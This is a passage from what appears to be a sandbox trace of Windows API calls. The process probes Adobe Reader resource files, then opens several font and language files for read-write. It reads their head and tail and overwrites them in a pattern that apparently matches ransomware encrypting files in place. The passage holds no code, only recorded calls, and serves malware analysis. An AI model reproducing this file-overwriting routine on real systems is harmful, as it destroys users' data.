"c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\etenms-b5-h")) returned 0x20 [0041.652] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBK-EUC-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\gbk-euc-h"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0041.655] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBK-EUC-H", nBufferLength=0x104, lpBuffer=0x354f694, lpFilePart=0x354f690 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBK-EUC-H", lpFilePart=0x354f690*="GBK-EUC-H") returned 0x40 [0041.655] GetLastError () returned 0x5 [0041.655] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x354f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨p͔폈H͔퐔H͔L͔ꢠǦ\x01") returned 0x13 [0041.655] LocalFree (hMem=0x70b5a8) returned 0x0 [0041.655] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x354d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0041.655] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x354f894) [0041.655] RtlUnwind (TargetFrame=0x354f8fc, TargetIp=0x406ffc, ExceptionRecord=0x354f378, ReturnValue=0x0) [0041.655] RtlUnwind (TargetFrame=0x354f920, TargetIp=0x407184, ExceptionRecord=0x354f378, ReturnValue=0x0) [0041.655] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBK-EUC-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\gbk-euc-h")) returned 0x20 [0041.656] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBpc-EUC-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\gbpc-euc-v"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0041.656] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBpc-EUC-V", nBufferLength=0x104, lpBuffer=0x354f694, lpFilePart=0x354f690 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBpc-EUC-V", lpFilePart=0x354f690*="GBpc-EUC-V") returned 0x41 [0041.656] GetLastError () returned 0x5 [0041.656] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x354f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨p͔폈H͔퐔H͔L͔ꢠǦ\x01") returned 0x13 [0041.656] LocalFree (hMem=0x70b5a8) returned 0x0 [0041.656] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x354d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0041.656] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x354f894) [0041.656] RtlUnwind (TargetFrame=0x354f8fc, TargetIp=0x406ffc, ExceptionRecord=0x354f378, ReturnValue=0x0) [0041.656] RtlUnwind (TargetFrame=0x354f920, TargetIp=0x407184, ExceptionRecord=0x354f378, ReturnValue=0x0) [0041.656] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBpc-EUC-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\gbpc-euc-v")) returned 0x20 [0041.656] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\HKm314-B5-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\hkm314-b5-h"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0041.656] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\HKm314-B5-H", nBufferLength=0x104, lpBuffer=0x354f694, lpFilePart=0x354f690 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\HKm314-B5-H", lpFilePart=0x354f690*="HKm314-B5-H") returned 0x42 [0041.656] GetLastError () returned 0x5 [0041.656] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x354f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨p͔폈H͔퐔H͔L͔ꢠǦ\x01") returned 0x13 [0041.656] LocalFree (hMem=0x70b5a8) returned 0x0 [0041.656] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x354d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0041.657] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x354f894) [0041.657] RtlUnwind (TargetFrame=0x354f8fc, TargetIp=0x406ffc, ExceptionRecord=0x354f378, ReturnValue=0x0) [0041.657] RtlUnwind (TargetFrame=0x354f920, TargetIp=0x407184, ExceptionRecord=0x354f378, ReturnValue=0x0) [0041.657] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\HKm314-B5-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\hkm314-b5-h")) returned 0x20 [0041.657] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\KSCms-UHC-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\kscms-uhc-h"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0041.657] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\KSCms-UHC-H", nBufferLength=0x104, lpBuffer=0x354f694, lpFilePart=0x354f690 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\KSCms-UHC-H", lpFilePart=0x354f690*="KSCms-UHC-H") returned 0x42 [0041.657] GetLastError () returned 0x5 [0041.657] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x354f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨p͔폈H͔퐔H͔L͔ꢠǦ\x01") returned 0x13 [0041.657] LocalFree (hMem=0x70b5a8) returned 0x0 [0041.657] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x354d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0041.657] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x354f894) [0041.657] RtlUnwind (TargetFrame=0x354f8fc, TargetIp=0x406ffc, ExceptionRecord=0x354f378, ReturnValue=0x0) [0041.658] RtlUnwind (TargetFrame=0x354f920, TargetIp=0x407184, ExceptionRecord=0x354f378, ReturnValue=0x0) [0041.658] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\KSCms-UHC-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\kscms-uhc-h")) returned 0x20 [0041.658] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UCS2-B5pc" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\ucs2-b5pc"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0041.658] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UCS2-B5pc", nBufferLength=0x104, lpBuffer=0x354f694, lpFilePart=0x354f690 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UCS2-B5pc", lpFilePart=0x354f690*="UCS2-B5pc") returned 0x40 [0041.658] GetLastError () returned 0x5 [0041.658] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x354f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨p͔폈H͔퐔H͔L͔ꢠǦ\x01") returned 0x13 [0041.658] LocalFree (hMem=0x70b5a8) returned 0x0 [0041.658] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x354d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0041.658] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x354f894) [0041.658] RtlUnwind (TargetFrame=0x354f8fc, TargetIp=0x406ffc, ExceptionRecord=0x354f378, ReturnValue=0x0) [0041.658] RtlUnwind (TargetFrame=0x354f920, TargetIp=0x407184, ExceptionRecord=0x354f378, ReturnValue=0x0) [0041.658] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UCS2-B5pc" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\ucs2-b5pc")) returned 0x20 [0041.659] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniGB-UCS2-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\unigb-ucs2-h"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0041.659] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniGB-UCS2-H", nBufferLength=0x104, lpBuffer=0x354f694, lpFilePart=0x354f690 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniGB-UCS2-H", lpFilePart=0x354f690*="UniGB-UCS2-H") returned 0x43 [0041.659] GetLastError () returned 0x5 [0041.659] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x354f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨p͔폈H͔퐔H͔L͔ꢠǦ\x01") returned 0x13 [0041.659] LocalFree (hMem=0x70b5a8) returned 0x0 [0041.659] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x354d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0041.659] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x354f894) [0041.659] RtlUnwind (TargetFrame=0x354f8fc, TargetIp=0x406ffc, ExceptionRecord=0x354f378, ReturnValue=0x0) [0041.659] RtlUnwind (TargetFrame=0x354f920, TargetIp=0x407184, ExceptionRecord=0x354f378, ReturnValue=0x0) [0041.659] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniGB-UCS2-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\unigb-ucs2-h")) returned 0x20 [0041.659] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniJIS2004-UTF16-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\unijis2004-utf16-h"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0042.096] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniJIS2004-UTF16-H", nBufferLength=0x104, lpBuffer=0x354f694, lpFilePart=0x354f690 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniJIS2004-UTF16-H", lpFilePart=0x354f690*="UniJIS2004-UTF16-H") returned 0x49 [0042.096] GetLastError () returned 0x5 [0042.096] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x354f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨p͔폈H͔퐔H͔L͔ꢠǦ\x01") returned 0x13 [0042.097] LocalFree (hMem=0x70b5a8) returned 0x0 [0042.097] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x354d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0042.097] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x354f894) [0042.097] RtlUnwind (TargetFrame=0x354f8fc, TargetIp=0x406ffc, ExceptionRecord=0x354f378, ReturnValue=0x0) [0042.097] RtlUnwind (TargetFrame=0x354f920, TargetIp=0x407184, ExceptionRecord=0x354f378, ReturnValue=0x0) [0042.097] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniJIS2004-UTF16-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\unijis2004-utf16-h")) returned 0x20 [0042.097] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\AdobeArabic-Regular.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\adobearabic-regular.otf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c4 [0042.681] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0042.681] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x37c34 [0042.681] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0042.681] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0042.681] ReleaseMutex (hMutex=0x128) returned 1 [0042.681] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeArabic-Regular.otf", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0042.681] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeArabic-Regular.otf", cchWideChar=23, lpMultiByteStr=0x1e786cc, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeArabic-Regular.otf", lpUsedDefaultChar=0x0) returned 23 [0042.681] ReadFile (in: hFile=0x1c4, lpBuffer=0x3a45df8, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x3a45df8*, lpNumberOfBytesRead=0x354f278*=0x8000, lpOverlapped=0x0) returned 1 [0042.683] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x36c34 [0042.683] ReadFile (in: hFile=0x1c4, lpBuffer=0x25c7ed8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x25c7ed8*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0042.684] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x36c34 [0042.684] WriteFile (in: hFile=0x1c4, lpBuffer=0x25c7ed8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7ed8*, lpNumberOfBytesWritten=0x354f28c*=0x1588, lpOverlapped=0x0) returned 1 [0042.685] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f2bc*=0) returned 0x0 [0042.685] WriteFile (in: hFile=0x1c4, lpBuffer=0x1da3ea8*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesWritten=0x354f28c*=0x8000, lpOverlapped=0x0) returned 1 [0042.685] CloseHandle (hObject=0x1c4) returned 1 [0042.685] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\CourierStd-Bold.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\courierstd-bold.otf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c4 [0042.685] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0042.686] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x8b9c [0042.686] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0042.686] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0042.686] ReleaseMutex (hMutex=0x128) returned 1 [0042.686] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CourierStd-Bold.otf", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0042.686] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CourierStd-Bold.otf", cchWideChar=19, lpMultiByteStr=0x1e789ec, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CourierStd-Bold.otf", lpUsedDefaultChar=0x0) returned 19 [0042.686] ReadFile (in: hFile=0x1c4, lpBuffer=0x2763ff8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x2763ff8*, lpNumberOfBytesRead=0x354f278*=0x4000, lpOverlapped=0x0) returned 1 [0042.687] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x7b9c [0042.687] ReadFile (in: hFile=0x1c4, lpBuffer=0x25c7ed8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x25c7ed8*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0042.688] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x7b9c [0042.688] WriteFile (in: hFile=0x1c4, lpBuffer=0x25c7ed8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7ed8*, lpNumberOfBytesWritten=0x354f28c*=0x1588, lpOverlapped=0x0) returned 1 [0042.689] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f2bc*=0) returned 0x0 [0042.689] WriteFile (in: hFile=0x1c4, lpBuffer=0x271c048*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x271c048*, lpNumberOfBytesWritten=0x354f28c*=0x4000, lpOverlapped=0x0) returned 1 [0042.689] CloseHandle (hObject=0x1c4) returned 1 [0042.689] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\MyriadPro-It.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\myriadpro-it.otf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c4 [0042.689] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0042.690] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x17f10 [0042.690] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0042.690] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0042.690] ReleaseMutex (hMutex=0x128) returned 1 [0042.690] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MyriadPro-It.otf", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0042.690] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MyriadPro-It.otf", cchWideChar=16, lpMultiByteStr=0x1e786cc, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyriadPro-It.otf", lpUsedDefaultChar=0x0) returned 16 [0042.690] ReadFile (in: hFile=0x1c4, lpBuffer=0x2763ff8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x2763ff8*, lpNumberOfBytesRead=0x354f278*=0x4000, lpOverlapped=0x0) returned 1 [0042.691] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x16f10 [0042.691] ReadFile (in: hFile=0x1c4, lpBuffer=0x25c7ed8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x25c7ed8*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0042.692] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x16f10 [0042.693] WriteFile (in: hFile=0x1c4, lpBuffer=0x25c7ed8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7ed8*, lpNumberOfBytesWritten=0x354f28c*=0x1588, lpOverlapped=0x0) returned 1 [0042.693] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f2bc*=0) returned 0x0 [0042.693] WriteFile (in: hFile=0x1c4, lpBuffer=0x271c048*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x271c048*, lpNumberOfBytesWritten=0x354f28c*=0x4000, lpOverlapped=0x0) returned 1 [0042.693] CloseHandle (hObject=0x1c4) returned 1 [0042.693] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_BH.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_bh.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c4 [0042.694] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0042.694] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x6c96 [0042.694] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0042.694] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0042.694] ReleaseMutex (hMutex=0x128) returned 1 [0042.694] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar_BH.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0042.694] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar_BH.txt", cchWideChar=30, lpMultiByteStr=0x1e7fd2c, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.ar_BH.txt", lpUsedDefaultChar=0x0) returned 30 [0042.694] ReadFile (in: hFile=0x1c4, lpBuffer=0x25c7ed8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x25c7ed8*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0042.695] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x5c96 [0042.695] ReadFile (in: hFile=0x1c4, lpBuffer=0x25c7ed8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x25c7ed8*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0042.696] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x5c96 [0042.696] WriteFile (in: hFile=0x1c4, lpBuffer=0x25c7ed8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7ed8*, lpNumberOfBytesWritten=0x354f28c*=0x1588, lpOverlapped=0x0) returned 1 [0042.697] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f2bc*=0) returned 0x0 [0042.697] WriteFile (in: hFile=0x1c4, lpBuffer=0x25c7ed8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7ed8*, 